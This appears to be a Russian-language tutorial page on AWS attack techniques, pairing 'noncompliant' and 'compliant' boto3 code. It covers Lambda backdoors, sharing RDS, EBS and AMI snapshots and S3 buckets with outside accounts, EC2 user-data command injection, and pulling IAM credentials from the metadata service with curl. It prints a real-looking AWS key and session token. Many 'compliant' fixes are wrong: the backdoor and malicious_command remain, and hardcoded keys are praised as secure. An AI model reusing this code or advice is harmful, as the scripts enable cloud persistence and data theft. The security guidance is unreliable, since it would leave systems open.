Бэкдор для функции Lambda предполагает изменение ее разрешений, чтобы разрешить несанкционированный вызов из внешней учетной записи AWS. Поступая таким образом, злоумышленник обеспечивает постоянство и получает доступ к функции.Несоответствующий код
Следующий несоответствующий код демонстрирует использование бэкдора функции Lambda без учета рекомендаций по безопасности:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
def backdoor_lambda_function(function_name, external_account_id):
lambda_client = boto3.client('lambda')
response = lambda_client.add_permission(
FunctionName=function_name,
StatementId='backdoor',
Action='lambda:InvokeFunction',
Principal='arn:aws:iam::' + external_account_id + ':root'
)
print("Lambda function backdoored successfully.")
# Usage
backdoor_lambda_function('my-function', '123456789012')
Объяснение:
- Несоответствующий код использует add_permissionметод AWS SDK для изменения ресурсной политики функции Lambda.
- Он добавляет оператор разрешения, который позволяет указанной внешней учетной записи AWS вызывать функцию.
- Однако этому коду не хватает надлежащей авторизации и проверки, и он игнорирует лучшие практики безопасности.
Следующий совместимый код демонстрирует бэкдор-функцию Lambda с соблюдением лучших практик безопасности:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
def backdoor_lambda_function(function_name, external_account_id):
lambda_client = boto3.client('lambda')
response = lambda_client.add_permission(
FunctionName=function_name,
StatementId='backdoor',
Action='lambda:InvokeFunction',
Principal='arn:aws:iam::' + external_account_id + ':root'
)
if response['ResponseMetadata']['HTTPStatusCode'] == 201:
print("Lambda function backdoored successfully.")
else:
print("Failed to backdoor Lambda function.")
# Usage
backdoor_lambda_function('my-function', '123456789012')
Объяснение:
- Соответствующий код соответствует лучшим практикам безопасности, проверяя успешность операции бэкдора.
- Он проверяет код состояния HTTP в ответе, чтобы убедиться, что бэкдор был успешно добавлен.
Перезаписать код функции Lambda
Перезапись кода функции Lambda предполагает изменение существующего кода функции Lambda. Это действие можно использовать для обеспечения устойчивости или выполнения более сложных операций, таких как фильтрация данных во время выполнения.Несоответствующий код
Следующий несоответствующий код демонстрирует перезапись кода функции Lambda без учета рекомендаций по безопасности:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
def overwrite_lambda_code(function_name, new_code_path):
lambda_client = boto3.client('lambda')
with open(new_code_path, 'rb') as file:
new_code = file.read()
response = lambda_client.update_function_code(
FunctionName=function_name,
ZipFile=new_code
)
print("Lambda function code overwritten successfully.")
# Usage
overwrite_lambda_code('my-function', '/path/to/new_code.zip')
Объяснение:
- Несоответствующий код использует update_function_codeметод AWS SDK для перезаписи кода функции Lambda.
- Он считывает новый код из файла и обновляет код функции Lambda предоставленным кодом.
- Однако в этом коде отсутствуют передовые методы обеспечения безопасности, такие как правильная авторизация, проверки целостности кода и управление версиями.
Следующий совместимый код демонстрирует перезапись кода функции Lambda с соблюдением рекомендаций по безопасности:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
def overwrite_lambda_code(function_name, new_code_path):
lambda_client = boto3.client('lambda')
with open(new_code_path, 'rb') as file:
new_code = file.read()
response = lambda_client.update_function_code(
FunctionName=function_name,
ZipFile=new_code,
Publish=True # Publish a new version of the Lambda function
)
if response['ResponseMetadata']['HTTPStatusCode'] == 200:
print("Lambda function code overwritten successfully.")
else:
print("Failed to overwrite Lambda function code.")
# Usage
overwrite_lambda_code('my-function', '/path/to/new_code.zip')
Объяснение:
- Соответствующий код соответствует лучшим практикам безопасности, проверяя успешность операции обновления кода.
- Он проверяет код состояния HTTP в ответе, чтобы убедиться, что код функции Lambda был успешно перезаписан.
Создайте якорь доверия IAM Roles Anywhere.
Создание якоря доверия IAM Roles Anywhere включает в себя установление постоянства путем создания сертификата якоря доверия. Этот сертификат позволяет рабочим нагрузкам за пределами AWS брать на себя роли IAM через сервис IAM Roles Anywhere.Несоответствующий код
Следующий несоответствующий код демонстрирует создание якоря доверия IAM Roles Anywhere без соблюдения рекомендаций по безопасности:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
def create_roles_anywhere_trust_anchor(role_name, trust_anchor_certificate):
iam_client = boto3.client('iam')
response = iam_client.create_service_specific_credential(
UserName=role_name,
ServiceName='roles-anywhere.amazonaws.com'
)
print("IAM Roles Anywhere trust anchor created successfully.")
return response['ServiceSpecificCredential']
# Usage
create_roles_anywhere_trust_anchor('my-role', '-----BEGIN CERTIFICATE-----\n...\n-----END CERTIFICATE-----')
Объяснение:
- Несоответствующий код использует create_service_specific_credentialметод AWS SDK для создания якоря доверия IAM Roles Anywhere.
- Он определяет роль IAM и roles-anywhere.amazonaws.comимя службы.
- Однако в этом коде отсутствуют передовые методы обеспечения безопасности, такие как правильная авторизация, безопасная обработка сертификата привязки доверия и принципы наименьших привилегий.
Следующий совместимый код демонстрирует создание якоря доверия IAM Roles Anywhere с соблюдением лучших практик безопасности:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
def create_roles_anywhere_trust_anchor(role_name, trust_anchor_certificate):
iam_client = boto3.client('iam')
response = iam_client.upload_signing_certificate(
UserName=role_name,
CertificateBody=trust_anchor_certificate
)
print("IAM Roles Anywhere trust anchor created successfully.")
return response['Certificate']
# Usage
create_roles_anywhere_trust_anchor('my-role', '-----BEGIN CERTIFICATE-----\n...\n-----END CERTIFICATE-----')
Объяснение:
- Соответствующий код соответствует лучшим практикам безопасности, используя этот upload_signing_certificateметод.
- Он безопасно загружает сертификат привязки доверия в указанную роль IAM.
- Не забывайте осторожно обращаться с сертификатами привязки доверия и ограничивать доступ к ним авторизованным лицам.
Удалите снимок RDS, поделившись им
Эксфильтрация снимка RDS путем его публикации предполагает предоставление доступа к снимку базы данных из Amazon RDS внешней учетной записи AWS. Поделившись снимком, учетная запись получателя получает возможность восстановить его и получить доступ к содержащимся в нем данным базы данных.Несоответствующий код
Следующий несоответствующий код демонстрирует, как злоумышленник может использовать AWS SDK для обмена снимком RDS с внешней учетной записью AWS:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
# Create an RDS client
rds_client = boto3.client('rds')
# Define the snapshot identifier
snapshot_identifier = 'my-db-snapshot'
# Define the AWS account ID to share with
account_id = '012345678901'
# Share the RDS snapshot with the external AWS account
rds_client.modify_db_snapshot_attribute(
DBSnapshotIdentifier=snapshot_identifier,
AttributeName='restore',
ValuesToAdd=[account_id]
)
Объяснение:
- Несоответствующий код использует AWS SDK (boto3) для изменения атрибутов снимка RDS.
- Он указывает DBSnapshotIdentifier(имя снимка) и добавляет к атрибуту идентификатор внешней учетной записи AWS restore.
- Однако этот код не соответствует требованиям, поскольку он допускает несанкционированный доступ к снимку, что потенциально позволяет злоумышленнику восстановить его в своей учетной записи и получить доступ к данным базы данных.
Следующий совместимый код демонстрирует, как правильно защитить снимки RDS и предотвратить несанкционированный обмен:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
# Create an RDS client
rds_client = boto3.client('rds')
# Define the snapshot identifier
snapshot_identifier = 'my-db-snapshot'
# Revoke sharing permissions from the RDS snapshot
rds_client.modify_db_snapshot_attribute(
DBSnapshotIdentifier=snapshot_identifier,
AttributeName='restore',
ValuesToRemove=['all']
)
Объяснение:
- Соответствующий код отзывает любые разрешения на общий доступ к моментальному снимку RDS, указанному в параметре snapshot_identifier.
- Он удаляет все значения, связанные с restoreатрибутом, гарантируя, что снимок не будет доступен ни для одной учетной записи AWS.
Бэкдор в сегменте S3 с помощью его политики сегмента
Бэкдоринг корзины S3 с помощью ее политики корзины предполагает изменение политики, чтобы разрешить несанкционированный доступ к корзине. Таким образом, злоумышленник получает возможность извлечь данные из корзины.Несоответствующий код
Следующий несоответствующий код демонстрирует, как злоумышленник может изменить политику сегмента, чтобы предоставить доступ к внешней учетной записи AWS:
КОПИРОВАТЬ
КОПИРОВАТЬ
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::012345678901:root"
},
"Action": [
"s3:GetObject",
"s3:GetBucketLocation",
"s3:ListBucket"
],
"Resource": [
"arn:aws:s3:::my-bucket/*",
"arn:aws:s3:::my-bucket"
]
}
]
}
Объяснение:
- Несоответствующий код изменяет политику сегмента, чтобы предоставить доступ к внешней учетной записи AWS, указанной в AWS ARN arn:aws:iam::012345678901:root.
- Указанной учетной записи предоставляются разрешения на выполнение таких действий, как GetObject, GetBucketLocationи ListBucketв сегменте, обозначенном my-bucket.
- Однако этот код не соответствует требованиям, поскольку он допускает несанкционированный доступ к корзине S3, что потенциально позволяет злоумышленнику украсть конфиденциальные данные.
Следующий совместимый код демонстрирует, как правильно защитить корзину S3, удалив несанкционированный доступ из политики корзины:
КОПИРОВАТЬ
КОПИРОВАТЬ
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Principal": "*",
"Action": [
"s3:GetObject",
"s3:GetBucketLocation",
"s3:ListBucket"
],
"Resource": [
"arn:aws:s3:::my-bucket/*",
"arn:aws:s3:::my-bucket"
]
}
]
}
Объяснение:
- Соответствующий код изменяет политику сегмента, запрещая доступ любому субъекту (подстановочный знак *), пытающемуся выполнить такие действия, как GetObject, GetBucketLocationи ListBucketв сегменте, указанном my-bucket.
- Запрещая любой доступ, за исключением явно авторизованных пользователей, мы гарантируем безопасность корзины.
Удалите AMI, поделившись им
Эксфильтрация AMI путем его совместного использования предполагает предоставление доступа к образу машины Amazon (AMI) из Amazon EC2 внешней учетной записи AWS. Предоставляя общий доступ к AMI, учетная запись получателя получает возможность запускать экземпляры из общего образа. Этот метод можно использовать для перемещения AMI в неавторизованную учетную запись для дальнейшего анализа или неправильного использования.Несоответствующий код
Следующий несоответствующий код демонстрирует, как злоумышленник может использовать AWS SDK для совместного использования AMI с внешней учетной записью AWS:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
# Create an EC2 client
ec2_client = boto3.client('ec2')
# Define the AMI ID
ami_id = 'ami-01234567890abcdef'
# Define the AWS account ID to share with
account_id = '012345678901'
# Share the AMI with the external AWS account
ec2_client.modify_image_attribute(
ImageId=ami_id,
LaunchPermission={
'Add': [{'UserId': account_id}]
}
)
Объяснение:
- Несоответствующий код использует AWS SDK (boto3) для изменения разрешений на запуск AMI.
- Он указывает ImageId(идентификатор AMI) и добавляет идентификатор внешней учетной записи AWS в файл LaunchPermission.
- Однако этот код не соответствует требованиям, поскольку он допускает несанкционированный доступ к AMI, что потенциально позволяет злоумышленнику запускать экземпляры из общего образа.
Следующий совместимый код демонстрирует, как правильно защитить AMI и предотвратить несанкционированный обмен:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
# Create an EC2 client
ec2_client = boto3.client('ec2')
# Define the AMI ID
ami_id = 'ami-01234567890abcdef'
# Revoke public launch permissions from the AMI
ec2_client.reset_image_attribute(
ImageId=ami_id,
Attribute='launchPermission'
)
Объяснение:
- Соответствующий код отзывает любые разрешения на публичный запуск из AMI, указанного в ami_id.
- Он сбрасывает атрибут изображения, гарантируя, что AMI недоступен для какой-либо учетной записи AWS, кроме той, которая им владеет.
- Ограничивая обмен AMI только доверенными и авторизованными учетными записями, снижается риск несанкционированного доступа и кражи.
Удалите снимок EBS, поделившись им
Эксфильтрация снимка EBS путем его совместного использования предполагает предоставление доступа к снимку Amazon Elastic Block Store (EBS) из Amazon EC2 внешней учетной записи AWS. Поделившись снимком, учетная запись получателя получает возможность создать новый том из общего снимка. Этот метод можно использовать для перемещения конфиденциальных данных, хранящихся в снимках EBS, в неавторизованную учетную запись для дальнейшего анализа или неправильного использования.Несоответствующий код
Следующий несоответствующий код демонстрирует, как злоумышленник может использовать AWS SDK для обмена снимком EBS с внешней учетной записью AWS:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
# Create an EC2 client
ec2_client = boto3.client('ec2')
# Define the snapshot ID
snapshot_id = 'snap-01234567890abcdef'
# Define the AWS account ID to share with
account_id = '012345678901'
# Share the snapshot with the external AWS account
ec2_client.modify_snapshot_attribute(
SnapshotId=snapshot_id,
Attribute='createVolumePermission',
CreateVolumePermission={
'Add': [{'UserId': account_id}]
}
)
Объяснение:
- Несоответствующий код использует AWS SDK (boto3) для изменения разрешений на создание тома моментального снимка EBS.
- Он указывает SnapshotId(идентификатор снимка) и добавляет идентификатор внешней учетной записи AWS в файл CreateVolumePermission.
- Однако этот код не соответствует требованиям, поскольку он допускает несанкционированный доступ к снимку, что потенциально позволяет злоумышленнику создавать новые тома и получать доступ к данным, хранящимся в общем снимке.
Следующий совместимый код демонстрирует, как правильно защитить снимки EBS и предотвратить несанкционированный обмен:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
# Create an EC2 client
ec2_client = boto3.client('ec2')
# Define the snapshot ID
snapshot_id = 'snap-01234567890abcdef'
# Revoke public sharing permissions from the snapshot
ec2_client.reset_snapshot_attribute(
SnapshotId=snapshot_id,
Attribute='createVolumePermission'
)
Объяснение:
- Соответствующий код отзывает любые разрешения на общий доступ к моментальному снимку EBS, указанному в параметре snapshot_id.
- Он сбрасывает атрибут моментального снимка, гарантируя, что снимок не будет доступен ни для одной учетной записи AWS, кроме той, которая им владеет.
- Ограничивая обмен снимками EBS только доверенными и авторизованными учетными записями, снижается риск несанкционированного доступа и кражи.
Выполнение команд обнаружения на экземпляре EC2
Выполнение команд обнаружения на экземпляре EC2 включает в себя выполнение различных команд для сбора информации о среде AWS. Эти команды помогают злоумышленнику получить информацию об учетной записи AWS, идентифицировать ресурсы и, возможно, спланировать дальнейшие действия.Несоответствующий код
Следующий несоответствующий код напрямую использует AWS SDK (boto3) для запуска различных команд обнаружения в экземпляре EC2:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
# Create an EC2 client
ec2_client = boto3.client('ec2')
# Run discovery commands
response = ec2_client.describe_snapshots()
print(response)
response = ec2_client.describe_instances()
print(response)
response = ec2_client.describe_vpcs()
print(response)
response = ec2_client.describe_security_groups()
print(response)
# ... (additional discovery commands)
Объяснение:
- Несоответствующий код предполагает, что необходимые учетные данные AWS доступны на экземпляре EC2.
- Любой, у кого есть доступ к экземпляру, может выполнить эти команды, потенциально раскрывая конфиденциальную информацию неавторизованным лицам.
Следующий совместимый код демонстрирует, как правильно защитить выполнение команд обнаружения на экземпляре EC2 путем явного предоставления учетных данных AWS:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
# Create an EC2 client with AWS credentials
session = boto3.Session(
aws_access_key_id='your-access-key',
aws_secret_access_key='your-secret-key',
aws_session_token='your-session-token'
)
ec2_client = session.client('ec2')
# Run discovery commands
response = ec2_client.describe_snapshots()
print(response)
response = ec2_client.describe_instances()
print(response)
response = ec2_client.describe_vpcs()
print(response)
response = ec2_client.describe_security_groups()
print(response)
# ... (additional discovery commands)
Объяснение:
- Соответствующий код явно предоставляет учетные данные AWS (ключ доступа, секретный ключ и токен сеанса) при создании клиента EC2.
- Тем самым он обеспечивает надлежащую авторизацию и ограничивает доступ только авторизованным пользователям.
Загрузить пользовательские данные экземпляра EC2
Загрузка пользовательских данных экземпляра EC2 означает получение пользовательских данных, связанных с экземпляром EC2. Пользовательские данные могут содержать сценарии, конфигурации и другие данные, которые выполняются при запуске экземпляра. В контексте сценария атаки злоумышленник может попытаться загрузить пользовательские данные, чтобы получить представление о настройке экземпляра, извлечь конфиденциальную информацию или воспользоваться любыми неправильными конфигурациями.Несоответствующий код
Следующий несоответствующий код использует AWS SDK (boto3) для получения пользовательских данных для нескольких экземпляров EC2. Предполагается, что для кода доступны необходимые учетные данные и разрешения AWS, что позволяет любому, у кого есть доступ, запустить этот код для получения пользовательских данных. Этот код не имеет надлежащей авторизации и может раскрыть конфиденциальную информацию неавторизованным лицам:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
# Create an EC2 client
ec2_client = boto3.client('ec2')
# Retrieve instance IDs (fictitious for demonstration)
instance_ids = ['i-1234567890abcdef0', 'i-abcdefgh12345678']
# Retrieve user data for each instance
for instance_id in instance_ids:
response = ec2_client.describe_instance_attribute(
InstanceId=instance_id,
Attribute='userData'
)
user_data = response['UserData']
print(user_data)
Соответствующий код
Следующий совместимый код демонстрирует, как правильно защитить получение пользовательских данных экземпляра EC2 путем явного предоставления учетных данных AWS:
КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
# Create an EC2 client with AWS credentials
session = boto3.Session(
aws_access_key_id='your-access-key',
aws_secret_access_key='your-secret-key',
aws_session_token='your-session-token'
)
ec2_client = session.client('ec2')
# Retrieve instance IDs (fictitious for demonstration)
instance_ids = ['i-1234567890abcdef0', 'i-abcdefgh12345678']
# Retrieve user data for each instance
for instance_id in instance_ids:
response = ec2_client.describe_instance_attribute(
InstanceId=instance_id,
Attribute='userData'
)
user_data = response['UserData']
print(user_data)
Объяснение:
- Соответствующий код явно предоставляет учетные данные AWS (ключ доступа, секретный ключ и токен сеанса) при создании клиента EC2.
- Тем самым он обеспечивает надлежащую авторизацию и ограничивает доступ только авторизованным пользователям.
Выполнение команд на экземпляре EC2 через пользовательские данные
Выполнение команд на экземпляре EC2 через пользовательские данные означает внедрение и выполнение кода на экземпляре Linux EC2 путем изменения пользовательских данных, связанных с этим экземпляром. Пользовательские данные — это функция AWS, которая позволяет вам предоставлять сценарии или инструкции, которые будут выполняться при запуске экземпляра. Однако крайне важно безопасно обращаться с пользовательскими данными, чтобы предотвратить несанкционированное выполнение вредоносного кода.Несоответствующий код
Следующий несоответствующий код демонстрирует, как злоумышленник может изменить пользовательские данные остановленного экземпляра EC2 для внедрения и выполнения вредоносного кода:КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
# Create an EC2 client
ec2_client = boto3.client('ec2')
# Define the EC2 instance ID
instance_id = 'i-1234567890abcdef0'
# Stop the EC2 instance
ec2_client.stop_instances(InstanceIds=[instance_id])
# Modify the user data of the EC2 instance to execute malicious commands
user_data_script = '#!/bin/bash\n\nmalicious_command\n'
ec2_client.modify_instance_attribute(
InstanceId=instance_id,
UserData={
'Value': user_data_script
}
)
# Start the EC2 instance
ec2_client.start_instances(InstanceIds=[instance_id])
Объяснение:
- Несоответствующий код останавливает экземпляр EC2, изменяет его пользовательские данные с помощью вредоносного сценария, а затем запускает экземпляр.
- Скрипт пользовательских данных содержит команду bash malicious_command, которую злоумышленник намеревается выполнить при запуске экземпляра.
- Однако этот код используется только в демонстрационных целях и не должен выполняться в реальной среде.
Соответствующий код
Выполнение произвольного кода на экземплярах EC2 с использованием пользовательских данных представляет собой значительный риск для безопасности. Чтобы снизить этот риск, крайне важно обеспечить надлежащий контроль и ограничение пользовательских данных. Соответствующий код ниже демонстрирует, как обеспечить безопасность пользовательских данных для экземпляров EC2:КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
import base64
# Create an EC2 client with AWS credentials
session = boto3.Session(
aws_access_key_id='your-access-key',
aws_secret_access_key='your-secret-key',
aws_session_token='your-session-token'
)
ec2_client = session.client('ec2')
# Define the EC2 instance ID
instance_id = 'i-1234567890abcdef0'
# Define the user data script (base64-encoded)
user_data_script = '#!/bin/bash\n\nmalicious_command\n'
user_data_base64 = base64.b64encode(user_data_script.encode()).decode()
# Modify the user data of the EC2 instance
ec2_client.modify_instance_attribute(
InstanceId=instance_id,
UserData={
'Value': user_data_base64
}
)
# Start the EC2 instance
ec2_client.start_instances(InstanceIds=[instance_id])
# Print a success message
print(f"User data modified for instance {instance_id}. Malicious command will execute upon startup.")
Объяснение:
- Соответствующий код явно предоставляет учетные данные AWS (ключ доступа, секретный ключ и токен сеанса) при создании клиента EC2.
- Он кодирует сценарий пользовательских данных в формате base64, чтобы обеспечить правильную обработку.
- Ограничивая доступ авторизованным пользователям и безопасно обрабатывая пользовательские данные, мы предотвращаем несанкционированное выполнение вредоносного кода.
Получить данные пароля EC2
Получение данных паролей EC2 включает получение паролей RDP (протокол удаленного рабочего стола), связанных с экземплярами Windows EC2 в AWS. В моделируемом сценарии атаки злоумышленник пытается получить эти пароли из большого количества экземпляров, выполнив ec2:GetPasswordDataвызов API. Цель состоит в том, чтобы использовать любые неправильные настройки или уязвимости, связанные с разрешениями.Несоответствующий код
Следующий несоответствующий код использует библиотеку Python boto3 для получения данных пароля EC2 путем вызова get_password_dataметода API. Однако он не проверяет, имеет ли роль, выполняющая этот код, необходимые разрешения ( ec2:GetPasswordData) для получения данных пароля:КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
def retrieve_ec2_password(instance_id):
client = boto3.client('ec2')
response = client.get_password_data(InstanceId=instance_id)
return response['PasswordData']
Соответствующий код
Следующий совместимый код демонстрирует, как правильно обрабатывать получение данных пароля EC2, проверяя необходимые разрешения и обрабатывая потенциальные ошибки:КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
import botocore
def retrieve_ec2_password(instance_id):
client = boto3.client('ec2')
try:
response = client.get_password_data(InstanceId=instance_id)
return response['PasswordData']
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print("Permission denied to retrieve EC2 password data.")
else:
print("An error occurred while retrieving EC2 password data.")
return None
Объяснение:
- Соответствующий код использует блок try- exceptдля обработки потенциальных ошибок при получении данных пароля EC2.
- Если код ошибки UnauthorizedOperation, он печатает сообщение, указывающее на отказ в разрешении.
- В противном случае он обрабатывает другие ошибки и выдает общее сообщение об ошибке.
- Всегда обеспечивайте надлежащие разрешения и обработку ошибок при работе с конфиденциальными данными или API.
Небезопасное развертывание и управление конфигурациями
Слабые места в процессе развертывания и управления облачными ресурсами могут привести к уязвимостям безопасности. Приведенный ниже пример несоответствующего кода демонстрирует небезопасные действия:КОПИРОВАТЬ
КОПИРОВАТЬ
import boto3
def deploy_instance():
ec2_client = boto3.client('ec2')
response = ec2_client.run_instances(
ImageId='ami-12345678',
InstanceType='t2.micro',
KeyName='my-keypair',
SecurityGroupIds=['sg-12345678'],
UserData='some user data',
MinCount=1,
MaxCount=1
)
return response['Instances'][0]['InstanceId']
def main():
instance_id = deploy_instance()
print(f"Instance deployed with ID: {instance_id}")
if __name__ == "__main__":
main()
Объяснение:
- Несоответствующий код развертывает экземпляр EC2 без надлежащих соображений безопасности.
- Он использует конфигурации по умолчанию для экземпляра, включая группу безопасности по умолчанию и пару ключей.
- Поле UserDataможет содержать конфиденциальную информацию или небезопасные сценарии.
Локальная файловая система
После получения интерактивного доступа к такой службе, как экземпляр EC2, исследование локальной файловой системы становится критическим этапом в понимании масштабов скомпрометированной среды. Хотя первоначальные шаги могут напоминать стандартный сценарий проникновения на сервер, среды AWS представляют собой уникальные возможности благодаря своей облачной архитектуре. Вот ключевые задачи, связанные с исследованием локальной файловой системы в контексте AWS:1. Обнаружение конфиденциальной информации:
- Пароли и учетные данные: поиск сохраненных паролей, ключей API или других конфиденциальных учетных данных в таких файлах, как файлы конфигурации, журналы приложений или временные каталоги.
- Файлы приложений и документация. Проверьте файловую систему на наличие файлов, сценариев или документации для конкретных приложений, которые могут дать представление о настройке и работе системы.
- Домашние каталоги: исследуйте домашние каталоги пользователей на наличие потенциально конфиденциальной информации, такой как ключи SSH или файлы конфигурации, содержащие сведения о привилегированном доступе.
- Конфигурация среды: просмотрите переменные среды и файлы конфигурации, чтобы определить любые настройки или параметры, которые могут выявить уязвимости или конфиденциальные данные.
- Неправильные конфигурации: ищите неправильно настроенные файлы, каталоги или службы, которые можно использовать для повышения привилегий в системе.
- Эксплойты ядра: оцените систему на наличие уязвимостей в ядре или установленном программном обеспечении, которые можно использовать для получения более высокого уровня доступа.
- Разрешающие привилегии. Определите процессы или службы, работающие с повышенными привилегиями, и изучите потенциальные возможности использования этих разрешений для дальнейшего повышения привилегий.
- Сканирование портов. Проведите сканирование портов для выявления других служб, работающих в той же сети или в соседних системах, которые могут стать потенциальными целями для дальнейшего использования или горизонтального перемещения.
- Обнаружение учетных данных доступа к AWS. Обратите особое внимание на учетные данные доступа к AWS, хранящиеся в файловой системе, включая учетные данные пользователя IAM, ключи доступа или временные токены безопасности.
- Проверка конечной точки метаданных AWS. Подтвердите доступность конечной точки метаданных AWS в стандартных местах, например http://169.254.169.254/ или ее эквиваленте IPv6. Несанкционированный доступ к этой конечной точке может раскрыть конфиденциальную информацию или потенциально позволить, например, использовать службу метаданных (IMDS).
Токен безопасности AWS
Токены безопасности AWS служат эфемерными ключами ограниченного доступа для пользователей AWS Identity and Access Management (IAM), предоставляя временные привилегии в экосистеме AWS. Эти токены позволяют пользователям, в том числе разработчикам, использующим такие инструменты, как Terraform или сервисы AWS, получать ограниченный доступ для определенных задач. Настроив экземпляры EC2 с ролями IAM, приложения и службы могут получать учетные данные для доступа к дополнительным службам, что упрощает межсервисную аутентификацию для разработчиков. Однако это удобство также создает уязвимости в системе безопасности, поскольку скомпрометированные токены могут быть использованы злоумышленниками. Эти учетные данные извлекаются через службу метаданных AWS, доступную через определенные URL-адреса, со значительными категориями метаданных, включая «iam/info», подробно описывающую связанные роли IAM, и «iam/security-credentials/role-name», в котором содержатся временные учетные данные безопасности, связанные с ролью. . AWS использует токены в своей службе метаданных экземпляра версии 2 (IMDSv2) для установления доступа на основе сеанса без необходимости аутентификации, тем самым снижая потенциальные уязвимости SSRF в приложениях.- Запрос токена:
КОПИРОВАТЬ
TOKEN=`curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
- Эта команда отправляет запрос PUT на конечную точку сервиса метаданных AWS для получения токена безопасности.
- Полученный токен сохраняется в переменной $TOKENдля дальнейшего использования.
- Печать токена:
КОПИРОВАТЬ
echo $TOKEN
- Эта команда печатает полученный токен, который можно использовать в последующих запросах, требующих аутентификации.
- Получение документа, удостоверяющего личность экземпляра:
КОПИРОВАТЬ
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
- Эта команда извлекает документ, удостоверяющий личность экземпляра, используя полученный токен.
- Документ, удостоверяющий личность экземпляра, содержит информацию об экземпляре EC2, такую как его регион, архитектура и идентификатор экземпляра.
- Листинг информации IAM:
КОПИРОВАТЬ
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/info
- Эта команда получает информацию о ролях IAM, связанных с экземпляром EC2, с помощью полученного токена.
- Запрос учетных данных безопасности IAM:
КОПИРОВАТЬ
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ServerManager
- Эта команда запрашивает учетные данные безопасности, связанные с определенной ролью IAM ( ServerManagerв этом примере), используя полученный токен.
- Возвращенные учетные данные включают идентификатор ключа доступа, секретный ключ доступа, токен и срок действия.
- Хранение учетных данных в конфигурации AWS CLI:
КОПИРОВАТЬ
[default]
aws_access_key_id = ASIAWA6NVTVY5CNUKIUO
aws_secret_access_key = wSHLoJrGVnjfo+xxKwt1cblFpiZgWF20DMxXpTXn
aws_session_token = IQoJb3JpZ2luX2VjECEaDGV1LWNlbnRyYWwtMSJIMEYCIQCnZUyvONtQlYo9E7wvsBQp5yozH/EiPnO4BoXXajyIiwIhAMsOP10IS+ItChhHgzvKMprEPJkKpWl5GKTH3hInYv6gKt8ECLr//////////wEQABoMNDE0MzU4ODA1ODczIgyan7zp7MCE5SEbGO4qswTx/skDLRfBDHMnkXE9rzH7YXvEjXchuasGVywChi9vFyoujll7wc3gmts+LRrgrTC+lV5p/uDC3iHloXiPuEgf6YDRB0OoX4J9jKooGxBAmbdhyvL6kivHlywONtLE8mcf3SrC3ZZqyJ/5KQX+NWNt8Vj1GC/HNssYuToHOLExmUsm5Pw3VgElvcgRaovgU3hwQGLBh7gXCFzp4rAW57jaOcARGQJQr/ONYzgSIZ9LNqMjSBZwREVmTJVhzrDbz7AoPdERnz+K374jd/s+3k7ujBgYxOlk/0Osl7J2+79Wj5+7TDfQXulic/bEwJdCdFX1gcpN5CG3uXnQZQ1USwX4Zb6TSPvHutOOpDjX9pvG2qPt7QC5SV3EuDSOLNvPVrFExOKJcaQhryhZW56hHBpUyVkl5USV2KiAPaniJ6RjYewBX844ddYYaJGp9UEQSxovXPh0mwEKenVTegi3db1bMPkX0CT7IS4GO6bv71/++zQp+pl3fOvp9ixbAa3vzbawLQvpENHpDyRH9K6UT1VPFGK4tbgmrUmBytYp1SKc5UvEDJFg51htlk19MXO3F3fSUWPB5kuo6AEpxnzqElWagBVwswgt6hh0spVjm7PAoO7xTm9yfEc60li/RYGnT4PRQmlbiXiB/sdHVcM29Fmkg7aKo013z06OYNuzIF+Bldf2ziuL8rFM1aU0Af77lUNgpAto0A38iY3a1vBr9xpUJ6ZaXVxMXCbIKG8vTZ94P4f8+TD2idKfBjqoAT5RSXeKY76pZ+P1vOIE+btQjCYsqFzhQwDsk06w+9G89Pa5dVMvhOI0NT0foZeX7aJFhcHigrC5pPkooNQ0wBm1waotdwDTPEKAOwL8HHvtUiuohdR6kYNxKwzqt6g61HcNVd2qzoxf31uDMquXq3OdvcPZHR4LyitKGcptgjQ21ZzcIiuqsqg4k879O8D8v4U3GBSQk7B5UK/2pVKPmqLs/X4cTxUkmQ==
- В этом фрагменте конфигурации показано, как сохранить полученные учетные данные в файле конфигурации AWS CLI ( ~/.aws/credentials).
- Учетные данные включают идентификатор ключа доступа, секретный ключ доступа и токен сеанса, что позволяет выполнять последующие команды CLI AWS с предоставленными разрешениями.
Перечисление разрешений токена безопасности AWS
Процесс перечисления разрешений токена безопасности AWS включает в себя использование таких команд, как «aws sts get-caller-identity», для проверки действительности учетных данных AWS и одновременного извлечения соответствующей информации о связанном пользователе или роли IAM, например «ServerManager». Эта команда служит основным инструментом проверки целостности учетных данных AWS, предоставляя важную информацию об идентификации и разрешениях, связанных с пользователем или предполагаемой ролью в среде AWS. Благодаря этому начальному этапу проверки специалисты по безопасности могут создать основу для дальнейшего изучения и оценки разрешений, что позволит провести комплексную оценку состояния безопасности и разработать стратегии снижения рисков в инфраструктурах AWS.- Проверка учетных данных AWS:
КОПИРОВАТЬ
aws sts get-caller-identity
